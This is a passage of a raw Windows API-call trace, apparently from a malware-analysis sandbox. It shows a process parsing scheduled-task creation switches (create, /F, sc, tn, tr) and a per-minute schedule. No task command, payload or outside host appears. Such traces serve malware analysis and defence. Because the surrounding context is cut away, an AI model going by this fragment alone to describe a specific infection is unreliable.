\x09", wMatch=0x31) returned 0x0 [0171.515] GetLastError () returned 0x0 [0171.515] lstrlenW (lpString="1") returned 1 [0171.515] lstrlenW (lpString="1") returned 1 [0171.515] GetProcessHeap () returned 0x46b0000 [0171.515] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x4) returned 0x46b6da0 [0171.515] RtlRestoreLastWin32Error () returned 0x0 [0171.515] RtlRestoreLastWin32Error () returned 0x0 [0171.515] lstrlenW (lpString="/F") returned 2 [0171.515] lstrlenW (lpString="-/") returned 2 [0171.515] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.515] lstrlenW (lpString="create") returned 6 [0171.515] lstrlenW (lpString="create") returned 6 [0171.515] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.515] lstrlenW (lpString="F") returned 1 [0171.516] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.516] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.516] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.516] lstrlenW (lpString="|create|") returned 8 [0171.516] lstrlenW (lpString="|F|") returned 3 [0171.517] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0171.517] RtlRestoreLastWin32Error () returned 0x490 [0171.517] lstrlenW (lpString="?") returned 1 [0171.517] lstrlenW (lpString="?") returned 1 [0171.517] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.517] lstrlenW (lpString="F") returned 1 [0171.517] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.517] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|?|") returned 3 [0171.517] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.517] lstrlenW (lpString="|?|") returned 3 [0171.517] lstrlenW (lpString="|F|") returned 3 [0171.517] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0171.517] RtlRestoreLastWin32Error () returned 0x490 [0171.517] lstrlenW (lpString="s") returned 1 [0171.517] lstrlenW (lpString="s") returned 1 [0171.517] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.518] lstrlenW (lpString="F") returned 1 [0171.518] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.518] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|s|") returned 3 [0171.518] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.518] lstrlenW (lpString="|s|") returned 3 [0171.518] lstrlenW (lpString="|F|") returned 3 [0171.518] StrStrIW (lpFirst="|s|", lpSrch="|F|") returned 0x0 [0171.518] RtlRestoreLastWin32Error () returned 0x490 [0171.518] lstrlenW (lpString="u") returned 1 [0171.518] lstrlenW (lpString="u") returned 1 [0171.518] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.518] lstrlenW (lpString="F") returned 1 [0171.518] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.518] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|u|") returned 3 [0171.518] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.518] lstrlenW (lpString="|u|") returned 3 [0171.518] lstrlenW (lpString="|F|") returned 3 [0171.518] StrStrIW (lpFirst="|u|", lpSrch="|F|") returned 0x0 [0171.518] RtlRestoreLastWin32Error () returned 0x490 [0171.518] lstrlenW (lpString="p") returned 1 [0171.518] lstrlenW (lpString="p") returned 1 [0171.518] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] lstrlenW (lpString="F") returned 1 [0171.519] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|p|") returned 3 [0171.519] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.519] lstrlenW (lpString="|p|") returned 3 [0171.519] lstrlenW (lpString="|F|") returned 3 [0171.519] StrStrIW (lpFirst="|p|", lpSrch="|F|") returned 0x0 [0171.519] RtlRestoreLastWin32Error () returned 0x490 [0171.519] lstrlenW (lpString="ru") returned 2 [0171.519] lstrlenW (lpString="ru") returned 2 [0171.519] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] lstrlenW (lpString="F") returned 1 [0171.519] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ru|") returned 4 [0171.519] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.519] lstrlenW (lpString="|ru|") returned 4 [0171.519] lstrlenW (lpString="|F|") returned 3 [0171.519] StrStrIW (lpFirst="|ru|", lpSrch="|F|") returned 0x0 [0171.519] RtlRestoreLastWin32Error () returned 0x490 [0171.519] lstrlenW (lpString="rp") returned 2 [0171.519] lstrlenW (lpString="rp") returned 2 [0171.519] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] lstrlenW (lpString="F") returned 1 [0171.519] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.519] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|rp|") returned 4 [0171.519] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.519] lstrlenW (lpString="|rp|") returned 4 [0171.520] lstrlenW (lpString="|F|") returned 3 [0171.520] StrStrIW (lpFirst="|rp|", lpSrch="|F|") returned 0x0 [0171.520] RtlRestoreLastWin32Error () returned 0x490 [0171.520] lstrlenW (lpString="sc") returned 2 [0171.520] lstrlenW (lpString="sc") returned 2 [0171.520] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.520] lstrlenW (lpString="F") returned 1 [0171.520] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.520] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.520] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.520] lstrlenW (lpString="|sc|") returned 4 [0171.520] lstrlenW (lpString="|F|") returned 3 [0171.520] StrStrIW (lpFirst="|sc|", lpSrch="|F|") returned 0x0 [0171.520] RtlRestoreLastWin32Error () returned 0x490 [0171.520] lstrlenW (lpString="mo") returned 2 [0171.520] lstrlenW (lpString="mo") returned 2 [0171.520] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.520] lstrlenW (lpString="F") returned 1 [0171.520] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.520] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.520] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.520] lstrlenW (lpString="|mo|") returned 4 [0171.520] lstrlenW (lpString="|F|") returned 3 [0171.520] StrStrIW (lpFirst="|mo|", lpSrch="|F|") returned 0x0 [0171.520] RtlRestoreLastWin32Error () returned 0x490 [0171.520] lstrlenW (lpString="d") returned 1 [0171.520] lstrlenW (lpString="d") returned 1 [0171.520] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] lstrlenW (lpString="F") returned 1 [0171.521] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|d|") returned 3 [0171.521] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.521] lstrlenW (lpString="|d|") returned 3 [0171.521] lstrlenW (lpString="|F|") returned 3 [0171.521] StrStrIW (lpFirst="|d|", lpSrch="|F|") returned 0x0 [0171.521] RtlRestoreLastWin32Error () returned 0x490 [0171.521] lstrlenW (lpString="m") returned 1 [0171.521] lstrlenW (lpString="m") returned 1 [0171.521] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] lstrlenW (lpString="F") returned 1 [0171.521] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|m|") returned 3 [0171.521] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.521] lstrlenW (lpString="|m|") returned 3 [0171.521] lstrlenW (lpString="|F|") returned 3 [0171.521] StrStrIW (lpFirst="|m|", lpSrch="|F|") returned 0x0 [0171.521] RtlRestoreLastWin32Error () returned 0x490 [0171.521] lstrlenW (lpString="i") returned 1 [0171.521] lstrlenW (lpString="i") returned 1 [0171.521] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] lstrlenW (lpString="F") returned 1 [0171.521] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.521] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|i|") returned 3 [0171.521] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.521] lstrlenW (lpString="|i|") returned 3 [0171.522] lstrlenW (lpString="|F|") returned 3 [0171.522] StrStrIW (lpFirst="|i|", lpSrch="|F|") returned 0x0 [0171.522] RtlRestoreLastWin32Error () returned 0x490 [0171.522] lstrlenW (lpString="tn") returned 2 [0171.522] lstrlenW (lpString="tn") returned 2 [0171.522] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.522] lstrlenW (lpString="F") returned 1 [0171.522] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.522] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.522] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.522] lstrlenW (lpString="|tn|") returned 4 [0171.522] lstrlenW (lpString="|F|") returned 3 [0171.522] StrStrIW (lpFirst="|tn|", lpSrch="|F|") returned 0x0 [0171.522] RtlRestoreLastWin32Error () returned 0x490 [0171.522] lstrlenW (lpString="tr") returned 2 [0171.522] lstrlenW (lpString="tr") returned 2 [0171.522] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.522] lstrlenW (lpString="F") returned 1 [0171.522] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.522] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.522] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.522] lstrlenW (lpString="|tr|") returned 4 [0171.522] lstrlenW (lpString="|F|") returned 3 [0171.522] StrStrIW (lpFirst="|tr|", lpSrch="|F|") returned 0x0 [0171.522] RtlRestoreLastWin32Error () returned 0x490 [0171.522] lstrlenW (lpString="st") returned 2 [0171.523] lstrlenW (lpString="st") returned 2 [0171.523] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] lstrlenW (lpString="F") returned 1 [0171.523] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|st|") returned 4 [0171.523] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.523] lstrlenW (lpString="|st|") returned 4 [0171.523] lstrlenW (lpString="|F|") returned 3 [0171.523] StrStrIW (lpFirst="|st|", lpSrch="|F|") returned 0x0 [0171.523] RtlRestoreLastWin32Error () returned 0x490 [0171.523] lstrlenW (lpString="sd") returned 2 [0171.523] lstrlenW (lpString="sd") returned 2 [0171.523] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] lstrlenW (lpString="F") returned 1 [0171.523] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sd|") returned 4 [0171.523] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.523] lstrlenW (lpString="|sd|") returned 4 [0171.523] lstrlenW (lpString="|F|") returned 3 [0171.523] StrStrIW (lpFirst="|sd|", lpSrch="|F|") returned 0x0 [0171.523] RtlRestoreLastWin32Error () returned 0x490 [0171.523] lstrlenW (lpString="ed") returned 2 [0171.523] lstrlenW (lpString="ed") returned 2 [0171.523] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] lstrlenW (lpString="F") returned 1 [0171.523] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.523] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ed|") returned 4 [0171.523] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.524] lstrlenW (lpString="|ed|") returned 4 [0171.524] lstrlenW (lpString="|F|") returned 3 [0171.524] StrStrIW (lpFirst="|ed|", lpSrch="|F|") returned 0x0 [0171.524] RtlRestoreLastWin32Error () returned 0x490 [0171.524] lstrlenW (lpString="it") returned 2 [0171.524] lstrlenW (lpString="it") returned 2 [0171.524] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.524] lstrlenW (lpString="F") returned 1 [0171.524] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.524] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|it|") returned 4 [0171.524] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.524] lstrlenW (lpString="|it|") returned 4 [0171.524] lstrlenW (lpString="|F|") returned 3 [0171.524] StrStrIW (lpFirst="|it|", lpSrch="|F|") returned 0x0 [0171.524] RtlRestoreLastWin32Error () returned 0x490 [0171.524] lstrlenW (lpString="et") returned 2 [0171.524] lstrlenW (lpString="et") returned 2 [0171.524] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.524] lstrlenW (lpString="F") returned 1 [0171.524] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.524] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|et|") returned 4 [0171.524] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.524] lstrlenW (lpString="|et|") returned 4 [0171.524] lstrlenW (lpString="|F|") returned 3 [0171.524] StrStrIW (lpFirst="|et|", lpSrch="|F|") returned 0x0 [0171.524] RtlRestoreLastWin32Error () returned 0x490 [0171.524] lstrlenW (lpString="k") returned 1 [0171.524] lstrlenW (lpString="k") returned 1 [0171.525] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.525] lstrlenW (lpString="F") returned 1 [0171.525] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.525] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|k|") returned 3 [0171.525] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.525] lstrlenW (lpString="|k|") returned 3 [0171.525] lstrlenW (lpString="|F|") returned 3 [0171.525] StrStrIW (lpFirst="|k|", lpSrch="|F|") returned 0x0 [0171.525] RtlRestoreLastWin32Error () returned 0x490 [0171.525] lstrlenW (lpString="du") returned 2 [0171.525] lstrlenW (lpString="du") returned 2 [0171.525] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.525] lstrlenW (lpString="F") returned 1 [0171.525] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.525] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|du|") returned 4 [0171.525] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.525] lstrlenW (lpString="|du|") returned 4 [0171.525] lstrlenW (lpString="|F|") returned 3 [0171.525] StrStrIW (lpFirst="|du|", lpSrch="|F|") returned 0x0 [0171.525] RtlRestoreLastWin32Error () returned 0x490 [0171.525] lstrlenW (lpString="ri") returned 2 [0171.525] lstrlenW (lpString="ri") returned 2 [0171.525] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.525] lstrlenW (lpString="F") returned 1 [0171.525] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.526] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ri|") returned 4 [0171.526] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.526] lstrlenW (lpString="|ri|") returned 4 [0171.526] lstrlenW (lpString="|F|") returned 3 [0171.526] StrStrIW (lpFirst="|ri|", lpSrch="|F|") returned 0x0 [0171.526] RtlRestoreLastWin32Error () returned 0x490 [0171.526] lstrlenW (lpString="z") returned 1 [0171.526] lstrlenW (lpString="z") returned 1 [0171.526] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.526] lstrlenW (lpString="F") returned 1 [0171.526] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.526] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|z|") returned 3 [0171.526] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.526] lstrlenW (lpString="|z|") returned 3 [0171.526] lstrlenW (lpString="|F|") returned 3 [0171.526] StrStrIW (lpFirst="|z|", lpSrch="|F|") returned 0x0 [0171.526] RtlRestoreLastWin32Error () returned 0x490 [0171.526] lstrlenW (lpString="f") returned 1 [0171.526] lstrlenW (lpString="f") returned 1 [0171.526] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.526] lstrlenW (lpString="F") returned 1 [0171.526] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.526] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|f|") returned 3 [0171.526] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|F|") returned 3 [0171.526] lstrlenW (lpString="|f|") returned 3 [0171.526] lstrlenW (lpString="|F|") returned 3 [0171.526] StrStrIW (lpFirst="|f|", lpSrch="|F|") returned="|f|" [0171.527] RtlRestoreLastWin32Error () returned 0x0 [0171.527] RtlRestoreLastWin32Error () returned 0x0 [0171.527] GetProcessHeap () returned 0x46b0000 [0171.527] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9698 [0171.527] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.527] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0171.527] lstrlenW (lpString="MINUTE") returned 6 [0171.527] GetProcessHeap () returned 0x46b0000 [0171.527] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xe) returned 0x46baee0 [0171.527] GetThreadLocale () returned 0x409 [0171.527] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="minute", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0171.527] RtlRestoreLastWin32Error () returned 0x0 [0171.527] GetProcessHeap () returned 0x46b0000 [0171.527] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x1fc) returned 0x46ba0a0 [0171.527] GetProcessHeap () returned 0x46b0000 [0171.527] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9718 [0171.527] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.527] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0171.527] lstrlenW (lpString="First") returned 5 [0171.527] GetProcessHeap () returned 0x46b0000 [0171.527] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xc) returned 0x46bacb8 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9738 [0171.528] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.528] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0171.528] lstrlenW (lpString="Second") returned 6 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xe) returned 0x46bad48 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b96f8 [0171.528] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.528] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0171.528] lstrlenW (lpString="Third") returned 5 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xc) returned 0x46bac70 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b94b8 [0171.528] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.528] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0171.528] lstrlenW (lpString="Fourth") returned 6 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xe) returned 0x46bac88 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9798 [0171.528] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.528] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0171.528] lstrlenW (lpString="Last") returned 4 [0171.528] GetProcessHeap () returned 0x46b0000 [0171.528] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xa) returned 0x46bad18 [0171.528] lstrlenW (lpString="1") returned 1 [0171.529] _wtol (_String="1") returned 1 [0171.529] GetProcessHeap () returned 0x46b0000 [0171.529] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b94d8 [0171.529] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.529] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0171.529] lstrlenW (lpString="First") returned 5 [0171.529] GetProcessHeap () returned 0x46b0000 [0171.529] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xc) returned 0x46bac58 [0171.529] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.529] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0171.529] lstrlenW (lpString="Second") returned 6 [0171.529] GetProcessHeap () returned 0x46b0000 [0171.529] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xe) returned 0x46bad90 [0171.529] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.529] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0171.529] lstrlenW (lpString="Third") returned 5 [0171.529] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.529] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0171.529] lstrlenW (lpString="Fourth") returned 6 [0171.529] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.529] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0171.529] lstrlenW (lpString="Last") returned 4 [0171.530] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcc898, cchData=128 | out: lpLCData="0") returned 2 [0171.530] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.530] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0171.530] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bacb8) returned 1 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bacb8) returned 0xc [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x16) returned 0x46b9538 [0171.530] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcc89c, 